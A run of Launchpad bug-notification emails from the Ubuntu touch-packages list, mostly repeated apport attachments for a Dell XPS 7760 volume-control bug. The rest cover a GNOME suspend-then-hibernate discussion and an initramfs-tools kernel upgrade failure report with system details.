apport information ** Attachment added: "UdevDb.txt" https://bugs.launchpad.net/bugs/1775068/+attachment/5195930/+files/UdevDb.txt -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1775068 Title: Volume control not working Dell XPS 27 (7760) Status in linux package in Ubuntu: Confirmed Status in pulseaudio package in Ubuntu: New Bug description: Pressing vol up/vol down show OSD change up/down but volume all time is at 100%. I found temporary fix: Add section: [Element Master] switch = mute volume = ignore To: /usr/share/pulseaudio/alsa-mixer/paths/analog-output.conf.common --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: trolinka 1610 F pulseaudio /dev/snd/controlC1: trolinka 1610 F pulseaudio CurrentDesktop: MATE DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2018-06-02 (121 days ago) InstallationMedia: Ubuntu-MATE 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) Package: pulseaudio 1:11.1-1ubuntu7.1 PackageArchitecture: amd64 ProcVersionSignature: Ubuntu 4.15.0-34.37-generic 4.15.18 Tags: bionic Uname: Linux 4.15.0-34-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm audio cdrom dip lpadmin netdev plugdev sambashare scanner sudo vboxusers video _MarkForUpload: True dmi.bios.date: 07/13/2018 dmi.bios.vendor: Dell Inc. dmi.bios.version: 2.4.0 dmi.board.name: 0T12MX dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 13 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvr2.4.0:bd07/13/2018:svnDellInc.:pnXPS7760AIO:pvr:rvnDellInc.:rn0T12MX:rvrA00:cvnDellInc.:ct13:cvr: dmi.product.family: XPS dmi.product.name: XPS 7760 AIO dmi.sys.vendor: Dell Inc. --- --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: trolinka 1846 F pulseaudio /dev/snd/controlC1: trolinka 1846 F pulseaudio CurrentDesktop: MATE DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2018-06-02 (122 days ago) InstallationMedia: Ubuntu-MATE 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) MachineType: Dell Inc. XPS 7760 AIO Package: pulseaudio 1:11.1-1ubuntu7.1 PackageArchitecture: amd64 ProcFB: 0 amdgpudrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-36-generic root=UUID=3df8d974-f6bb-455e-a7a6-a7099388ad54 ro quiet splash vt.handoff=1 ProcVersionSignature: Ubuntu 4.15.0-36.39-generic 4.15.18 RelatedPackageVersions: linux-restricted-modules-4.15.0-36-generic N/A linux-backports-modules-4.15.0-36-generic N/A linux-firmware 1.173.1 Tags: bionic Uname: Linux 4.15.0-36-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm audio cdrom dip lpadmin netdev plugdev sambashare scanner sudo vboxusers video _MarkForUpload: True dmi.bios.date: 07/13/2018 dmi.bios.vendor: Dell Inc. dmi.bios.version: 2.4.0 dmi.board.name: 0T12MX dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 13 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvr2.4.0:bd07/13/2018:svnDellInc.:pnXPS7760AIO:pvr:rvnDellInc.:rn0T12MX:rvrA00:cvnDellInc.:ct13:cvr: dmi.product.family: XPS dmi.product.name: XPS 7760 AIO dmi.sys.vendor: Dell Inc. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1775068/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1756006] Re: FFe: Support suspend-then-hibernate
GNOME is discussing reverting this change for 3.30. Posted moments ago in #control-center on irc.gnome.org: benzea > I am getting tempted to consider reverting the change. two of the four "common" suspend scenarios are not even covered by g-s-d i.e. if you close the lid or use alt+click in the gnome-shell dropdown, you do a suspend. we only changed the meaning of "suspend" for inactivity and pressing the hardware power button https://p.sipsolutions.net/65caa390fcbd0e00.txt <- for a summary of suspend reasons ** Changed in: gnome-settings-daemon (Ubuntu) Status: Fix Released => Triaged -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1756006 Title: FFe: Support suspend-then-hibernate Status in gnome-settings-daemon package in Ubuntu: Triaged Status in systemd package in Ubuntu: Fix Released Status in gnome-settings-daemon source package in Bionic: Triaged Bug description: Suspend to hibernate is a new feature that will put the system into hibernate after a period of time spent in the system's supported sleep state. This mode will be used on some systems that take suspend to idle in the future with Ubuntu 18.04. This feature is available in upstream systemd from these two commits. https://github.com/systemd/systemd/commit/c58493c00af97146d3b6c24da9c0371978124703 https://github.com/systemd/systemd/commit/9aa2e409bcb70f3952b38a35f16fc080c22dd5a5 This is accepted upstream. The policy needs to be made available to gnome from this commit: https://gitlab.gnome.org/GNOME/gnome-settings-daemon/merge_requests/9 As of 3/15/2018 this is not yet accepted or rejected. The new mode is not selected by default, but that can be changed from a separate policy package. The policy for the amount of time spent in S3/S2I can be configured by a separate package. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-settings-daemon/+bug/1756006/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1775068] PulseList.txt
apport information ** Attachment added: "PulseList.txt" https://bugs.launchpad.net/bugs/1775068/+attachment/5195928/+files/PulseList.txt -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1775068 Title: Volume control not working Dell XPS 27 (7760) Status in linux package in Ubuntu: Confirmed Status in pulseaudio package in Ubuntu: New Bug description: Pressing vol up/vol down show OSD change up/down but volume all time is at 100%. I found temporary fix: Add section: [Element Master] switch = mute volume = ignore To: /usr/share/pulseaudio/alsa-mixer/paths/analog-output.conf.common --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: trolinka 1610 F pulseaudio /dev/snd/controlC1: trolinka 1610 F pulseaudio CurrentDesktop: MATE DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2018-06-02 (121 days ago) InstallationMedia: Ubuntu-MATE 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) Package: pulseaudio 1:11.1-1ubuntu7.1 PackageArchitecture: amd64 ProcVersionSignature: Ubuntu 4.15.0-34.37-generic 4.15.18 Tags: bionic Uname: Linux 4.15.0-34-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm audio cdrom dip lpadmin netdev plugdev sambashare scanner sudo vboxusers video _MarkForUpload: True dmi.bios.date: 07/13/2018 dmi.bios.vendor: Dell Inc. dmi.bios.version: 2.4.0 dmi.board.name: 0T12MX dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 13 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvr2.4.0:bd07/13/2018:svnDellInc.:pnXPS7760AIO:pvr:rvnDellInc.:rn0T12MX:rvrA00:cvnDellInc.:ct13:cvr: dmi.product.family: XPS dmi.product.name: XPS 7760 AIO dmi.sys.vendor: Dell Inc. --- --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: trolinka 1846 F pulseaudio /dev/snd/controlC1: trolinka 1846 F pulseaudio CurrentDesktop: MATE DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2018-06-02 (122 days ago) InstallationMedia: Ubuntu-MATE 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) MachineType: Dell Inc. XPS 7760 AIO Package: pulseaudio 1:11.1-1ubuntu7.1 PackageArchitecture: amd64 ProcFB: 0 amdgpudrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-36-generic root=UUID=3df8d974-f6bb-455e-a7a6-a7099388ad54 ro quiet splash vt.handoff=1 ProcVersionSignature: Ubuntu 4.15.0-36.39-generic 4.15.18 RelatedPackageVersions: linux-restricted-modules-4.15.0-36-generic N/A linux-backports-modules-4.15.0-36-generic N/A linux-firmware 1.173.1 Tags: bionic Uname: Linux 4.15.0-36-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm audio cdrom dip lpadmin netdev plugdev sambashare scanner sudo vboxusers video _MarkForUpload: True dmi.bios.date: 07/13/2018 dmi.bios.vendor: Dell Inc. dmi.bios.version: 2.4.0 dmi.board.name: 0T12MX dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 13 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvr2.4.0:bd07/13/2018:svnDellInc.:pnXPS7760AIO:pvr:rvnDellInc.:rn0T12MX:rvrA00:cvnDellInc.:ct13:cvr: dmi.product.family: XPS dmi.product.name: XPS 7760 AIO dmi.sys.vendor: Dell Inc. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1775068/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1775068] IwConfig.txt
apport information ** Attachment added: "IwConfig.txt" https://bugs.launchpad.net/bugs/1775068/+attachment/5195921/+files/IwConfig.txt -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1775068 Title: Volume control not working Dell XPS 27 (7760) Status in linux package in Ubuntu: Confirmed Status in pulseaudio package in Ubuntu: New Bug description: Pressing vol up/vol down show OSD change up/down but volume all time is at 100%. I found temporary fix: Add section: [Element Master] switch = mute volume = ignore To: /usr/share/pulseaudio/alsa-mixer/paths/analog-output.conf.common --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: trolinka 1610 F pulseaudio /dev/snd/controlC1: trolinka 1610 F pulseaudio CurrentDesktop: MATE DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2018-06-02 (121 days ago) InstallationMedia: Ubuntu-MATE 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) Package: pulseaudio 1:11.1-1ubuntu7.1 PackageArchitecture: amd64 ProcVersionSignature: Ubuntu 4.15.0-34.37-generic 4.15.18 Tags: bionic Uname: Linux 4.15.0-34-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm audio cdrom dip lpadmin netdev plugdev sambashare scanner sudo vboxusers video _MarkForUpload: True dmi.bios.date: 07/13/2018 dmi.bios.vendor: Dell Inc. dmi.bios.version: 2.4.0 dmi.board.name: 0T12MX dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 13 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvr2.4.0:bd07/13/2018:svnDellInc.:pnXPS7760AIO:pvr:rvnDellInc.:rn0T12MX:rvrA00:cvnDellInc.:ct13:cvr: dmi.product.family: XPS dmi.product.name: XPS 7760 AIO dmi.sys.vendor: Dell Inc. --- --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: trolinka 1846 F pulseaudio /dev/snd/controlC1: trolinka 1846 F pulseaudio CurrentDesktop: MATE DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2018-06-02 (122 days ago) InstallationMedia: Ubuntu-MATE 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) MachineType: Dell Inc. XPS 7760 AIO Package: pulseaudio 1:11.1-1ubuntu7.1 PackageArchitecture: amd64 ProcFB: 0 amdgpudrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-36-generic root=UUID=3df8d974-f6bb-455e-a7a6-a7099388ad54 ro quiet splash vt.handoff=1 ProcVersionSignature: Ubuntu 4.15.0-36.39-generic 4.15.18 RelatedPackageVersions: linux-restricted-modules-4.15.0-36-generic N/A linux-backports-modules-4.15.0-36-generic N/A linux-firmware 1.173.1 Tags: bionic Uname: Linux 4.15.0-36-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm audio cdrom dip lpadmin netdev plugdev sambashare scanner sudo vboxusers video _MarkForUpload: True dmi.bios.date: 07/13/2018 dmi.bios.vendor: Dell Inc. dmi.bios.version: 2.4.0 dmi.board.name: 0T12MX dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 13 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvr2.4.0:bd07/13/2018:svnDellInc.:pnXPS7760AIO:pvr:rvnDellInc.:rn0T12MX:rvrA00:cvnDellInc.:ct13:cvr: dmi.product.family: XPS dmi.product.name: XPS 7760 AIO dmi.sys.vendor: Dell Inc. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1775068/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1775068] CurrentDmesg.txt
apport information ** Attachment added: "CurrentDmesg.txt" https://bugs.launchpad.net/bugs/1775068/+attachment/5195919/+files/CurrentDmesg.txt -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1775068 Title: Volume control not working Dell XPS 27 (7760) Status in linux package in Ubuntu: Confirmed Status in pulseaudio package in Ubuntu: New Bug description: Pressing vol up/vol down show OSD change up/down but volume all time is at 100%. I found temporary fix: Add section: [Element Master] switch = mute volume = ignore To: /usr/share/pulseaudio/alsa-mixer/paths/analog-output.conf.common --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: trolinka 1610 F pulseaudio /dev/snd/controlC1: trolinka 1610 F pulseaudio CurrentDesktop: MATE DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2018-06-02 (121 days ago) InstallationMedia: Ubuntu-MATE 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) Package: pulseaudio 1:11.1-1ubuntu7.1 PackageArchitecture: amd64 ProcVersionSignature: Ubuntu 4.15.0-34.37-generic 4.15.18 Tags: bionic Uname: Linux 4.15.0-34-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm audio cdrom dip lpadmin netdev plugdev sambashare scanner sudo vboxusers video _MarkForUpload: True dmi.bios.date: 07/13/2018 dmi.bios.vendor: Dell Inc. dmi.bios.version: 2.4.0 dmi.board.name: 0T12MX dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 13 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvr2.4.0:bd07/13/2018:svnDellInc.:pnXPS7760AIO:pvr:rvnDellInc.:rn0T12MX:rvrA00:cvnDellInc.:ct13:cvr: dmi.product.family: XPS dmi.product.name: XPS 7760 AIO dmi.sys.vendor: Dell Inc. --- --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: trolinka 1846 F pulseaudio /dev/snd/controlC1: trolinka 1846 F pulseaudio CurrentDesktop: MATE DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2018-06-02 (122 days ago) InstallationMedia: Ubuntu-MATE 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) MachineType: Dell Inc. XPS 7760 AIO Package: pulseaudio 1:11.1-1ubuntu7.1 PackageArchitecture: amd64 ProcFB: 0 amdgpudrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-36-generic root=UUID=3df8d974-f6bb-455e-a7a6-a7099388ad54 ro quiet splash vt.handoff=1 ProcVersionSignature: Ubuntu 4.15.0-36.39-generic 4.15.18 RelatedPackageVersions: linux-restricted-modules-4.15.0-36-generic N/A linux-backports-modules-4.15.0-36-generic N/A linux-firmware 1.173.1 Tags: bionic Uname: Linux 4.15.0-36-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm audio cdrom dip lpadmin netdev plugdev sambashare scanner sudo vboxusers video _MarkForUpload: True dmi.bios.date: 07/13/2018 dmi.bios.vendor: Dell Inc. dmi.bios.version: 2.4.0 dmi.board.name: 0T12MX dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 13 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvr2.4.0:bd07/13/2018:svnDellInc.:pnXPS7760AIO:pvr:rvnDellInc.:rn0T12MX:rvrA00:cvnDellInc.:ct13:cvr: dmi.product.family: XPS dmi.product.name: XPS 7760 AIO dmi.sys.vendor: Dell Inc. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1775068/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1775068] Dependencies.txt
apport information ** Attachment added: "Dependencies.txt" https://bugs.launchpad.net/bugs/1775068/+attachment/5195920/+files/Dependencies.txt -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1775068 Title: Volume control not working Dell XPS 27 (7760) Status in linux package in Ubuntu: Confirmed Status in pulseaudio package in Ubuntu: New Bug description: Pressing vol up/vol down show OSD change up/down but volume all time is at 100%. I found temporary fix: Add section: [Element Master] switch = mute volume = ignore To: /usr/share/pulseaudio/alsa-mixer/paths/analog-output.conf.common --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: trolinka 1610 F pulseaudio /dev/snd/controlC1: trolinka 1610 F pulseaudio CurrentDesktop: MATE DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2018-06-02 (121 days ago) InstallationMedia: Ubuntu-MATE 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) Package: pulseaudio 1:11.1-1ubuntu7.1 PackageArchitecture: amd64 ProcVersionSignature: Ubuntu 4.15.0-34.37-generic 4.15.18 Tags: bionic Uname: Linux 4.15.0-34-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm audio cdrom dip lpadmin netdev plugdev sambashare scanner sudo vboxusers video _MarkForUpload: True dmi.bios.date: 07/13/2018 dmi.bios.vendor: Dell Inc. dmi.bios.version: 2.4.0 dmi.board.name: 0T12MX dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 13 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvr2.4.0:bd07/13/2018:svnDellInc.:pnXPS7760AIO:pvr:rvnDellInc.:rn0T12MX:rvrA00:cvnDellInc.:ct13:cvr: dmi.product.family: XPS dmi.product.name: XPS 7760 AIO dmi.sys.vendor: Dell Inc. --- --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: trolinka 1846 F pulseaudio /dev/snd/controlC1: trolinka 1846 F pulseaudio CurrentDesktop: MATE DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2018-06-02 (122 days ago) InstallationMedia: Ubuntu-MATE 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) MachineType: Dell Inc. XPS 7760 AIO Package: pulseaudio 1:11.1-1ubuntu7.1 PackageArchitecture: amd64 ProcFB: 0 amdgpudrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-36-generic root=UUID=3df8d974-f6bb-455e-a7a6-a7099388ad54 ro quiet splash vt.handoff=1 ProcVersionSignature: Ubuntu 4.15.0-36.39-generic 4.15.18 RelatedPackageVersions: linux-restricted-modules-4.15.0-36-generic N/A linux-backports-modules-4.15.0-36-generic N/A linux-firmware 1.173.1 Tags: bionic Uname: Linux 4.15.0-36-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm audio cdrom dip lpadmin netdev plugdev sambashare scanner sudo vboxusers video _MarkForUpload: True dmi.bios.date: 07/13/2018 dmi.bios.vendor: Dell Inc. dmi.bios.version: 2.4.0 dmi.board.name: 0T12MX dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 13 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvr2.4.0:bd07/13/2018:svnDellInc.:pnXPS7760AIO:pvr:rvnDellInc.:rn0T12MX:rvrA00:cvnDellInc.:ct13:cvr: dmi.product.family: XPS dmi.product.name: XPS 7760 AIO dmi.sys.vendor: Dell Inc. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1775068/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1775068] ProcCpuinfoMinimal.txt
apport information ** Attachment added: "ProcCpuinfoMinimal.txt" https://bugs.launchpad.net/bugs/1775068/+attachment/5195924/+files/ProcCpuinfoMinimal.txt -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1775068 Title: Volume control not working Dell XPS 27 (7760) Status in linux package in Ubuntu: Confirmed Status in pulseaudio package in Ubuntu: New Bug description: Pressing vol up/vol down show OSD change up/down but volume all time is at 100%. I found temporary fix: Add section: [Element Master] switch = mute volume = ignore To: /usr/share/pulseaudio/alsa-mixer/paths/analog-output.conf.common --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: trolinka 1610 F pulseaudio /dev/snd/controlC1: trolinka 1610 F pulseaudio CurrentDesktop: MATE DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2018-06-02 (121 days ago) InstallationMedia: Ubuntu-MATE 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) Package: pulseaudio 1:11.1-1ubuntu7.1 PackageArchitecture: amd64 ProcVersionSignature: Ubuntu 4.15.0-34.37-generic 4.15.18 Tags: bionic Uname: Linux 4.15.0-34-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm audio cdrom dip lpadmin netdev plugdev sambashare scanner sudo vboxusers video _MarkForUpload: True dmi.bios.date: 07/13/2018 dmi.bios.vendor: Dell Inc. dmi.bios.version: 2.4.0 dmi.board.name: 0T12MX dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 13 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvr2.4.0:bd07/13/2018:svnDellInc.:pnXPS7760AIO:pvr:rvnDellInc.:rn0T12MX:rvrA00:cvnDellInc.:ct13:cvr: dmi.product.family: XPS dmi.product.name: XPS 7760 AIO dmi.sys.vendor: Dell Inc. --- --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: trolinka 1846 F pulseaudio /dev/snd/controlC1: trolinka 1846 F pulseaudio CurrentDesktop: MATE DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2018-06-02 (122 days ago) InstallationMedia: Ubuntu-MATE 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) MachineType: Dell Inc. XPS 7760 AIO Package: pulseaudio 1:11.1-1ubuntu7.1 PackageArchitecture: amd64 ProcFB: 0 amdgpudrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-36-generic root=UUID=3df8d974-f6bb-455e-a7a6-a7099388ad54 ro quiet splash vt.handoff=1 ProcVersionSignature: Ubuntu 4.15.0-36.39-generic 4.15.18 RelatedPackageVersions: linux-restricted-modules-4.15.0-36-generic N/A linux-backports-modules-4.15.0-36-generic N/A linux-firmware 1.173.1 Tags: bionic Uname: Linux 4.15.0-36-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm audio cdrom dip lpadmin netdev plugdev sambashare scanner sudo vboxusers video _MarkForUpload: True dmi.bios.date: 07/13/2018 dmi.bios.vendor: Dell Inc. dmi.bios.version: 2.4.0 dmi.board.name: 0T12MX dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 13 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvr2.4.0:bd07/13/2018:svnDellInc.:pnXPS7760AIO:pvr:rvnDellInc.:rn0T12MX:rvrA00:cvnDellInc.:ct13:cvr: dmi.product.family: XPS dmi.product.name: XPS 7760 AIO dmi.sys.vendor: Dell Inc. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1775068/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1795678] [NEW] package linux-image-4.15.0-36-generic 4.15.0-36.39 failed to install/upgrade: run-parts: /etc/kernel/postinst.d/initramfs-tools exited with return code 1
Public bug reported:
Since upgrading from Lubuntu 16.04 LTS to Lubuntu 18.04 LTS
When Using Software Updater (either automatic notification or triggering
through the GUI menus)
I am getting "The installation or removal of a software package failed." error
almost every day (more often than not)
This is the first time I have been prompted to submit a bug report
ProblemType: Package
DistroRelease: Ubuntu 18.04
Package: linux-image-4.15.0-36-generic 4.15.0-36.39
ProcVersionSignature: Ubuntu 4.15.0-34.37-generic 4.15.18
Uname: Linux 4.15.0-34-generic x86_64
AlsaVersion: Advanced Linux Sound Architecture Driver Version
k4.15.0-34-generic.
ApportVersion: 2.20.9-0ubuntu7.4
Architecture: amd64
ArecordDevices:
List of CAPTURE Hardware Devices
card 0: PCH [HDA Intel PCH], device 0: ALC295 Analog [ALC295 Analog]
Subdevices: 1/1
Subdevice #0: subdevice #0
AudioDevicesInUse:
USERPID ACCESS COMMAND
/dev/snd/controlC0: david 1742 F pulseaudio
Card0.Amixer.info:
Card hw:0 'PCH'/'HDA Intel PCH at 0xb1328000 irq 134'
Mixer name : 'Realtek ALC295'
Components : 'HDA:10ec0295,103c83f8,0012
HDA:8086280b,80860101,0010'
Controls : 55
Simple ctrls : 15
Date: Tue Oct 2 15:37:20 2018
ErrorMessage: run-parts: /etc/kernel/postinst.d/initramfs-tools exited with
return code 1
HibernationDevice: RESUME=UUID=8690dd17-8c64-490e-9c50-d6099db9e1e4
InstallationDate: Installed on 2017-11-08 (327 days ago)
InstallationMedia: Lubuntu 16.04.3 LTS "Xenial Xerus" - Release amd64 (20170801)
Lsusb:
Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
Bus 001 Device 004: ID 8087:0aa7 Intel Corp.
Bus 001 Device 003: ID 0408:51e9 Quanta Computer, Inc.
Bus 001 Device 002: ID 045e:0023 Microsoft Corp. Trackball Optical
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
MachineType: HP HP Pavilion Laptop 15-cc1xx
ProcFB: 0 inteldrmfb
ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-34-generic
root=UUID=c1b34c8f-6ab6-460d-9da0-56b763da6438 ro quiet splash vt.handoff=1
PulseList: Error: command ['pacmd', 'list'] failed with exit code 1: No
PulseAudio daemon running, or not running as session daemon.
Python3Details: /usr/bin/python3.6, Python 3.6.6, python3-minimal,
3.6.5-3ubuntu1
PythonDetails: /usr/bin/python2.7, Python 2.7.15rc1, python-minimal,
2.7.15~rc1-1
RelatedPackageVersions: grub-pc N/A
SourcePackage: initramfs-tools
Title: package linux-image-4.15.0-36-generic 4.15.0-36.39 failed to
install/upgrade: run-parts: /etc/kernel/postinst.d/initramfs-tools exited with
return code 1
UpgradeStatus: Upgraded to bionic on 2018-08-12 (50 days ago)
dmi.bios.date: 06/30/2017
dmi.bios.vendor: Insyde
dmi.bios.version: F.20
dmi.board.asset.tag: Type2 - Board Asset Tag
dmi.board.name: 83F8
dmi.board.vendor: HP
dmi.board.version: 46.38
dmi.chassis.type: 10
dmi.chassis.vendor: HP
dmi.chassis.version: Chassis Version
dmi.modalias:
dmi:bvnInsyde:bvrF.20:bd06/30/2017:svnHP:pnHPPavilionLaptop15-cc1xx:pvrType1ProductConfigId:rvnHP:rn83F8:rvr46.38:cvnHP:ct10:cvrChassisVersion:
dmi.product.family: 103C_5335KV HP Pavilion
dmi.product.name: HP Pavilion Laptop 15-cc1xx
dmi.product.version: Type1ProductConfigId
dmi.sys.vendor: HP
** Affects: initramfs-tools (Ubuntu)
Importance: Undecided
Status: New
** Tags: amd64 apport-package bionic
--
You received this bug notification because you are a member of Ubuntu
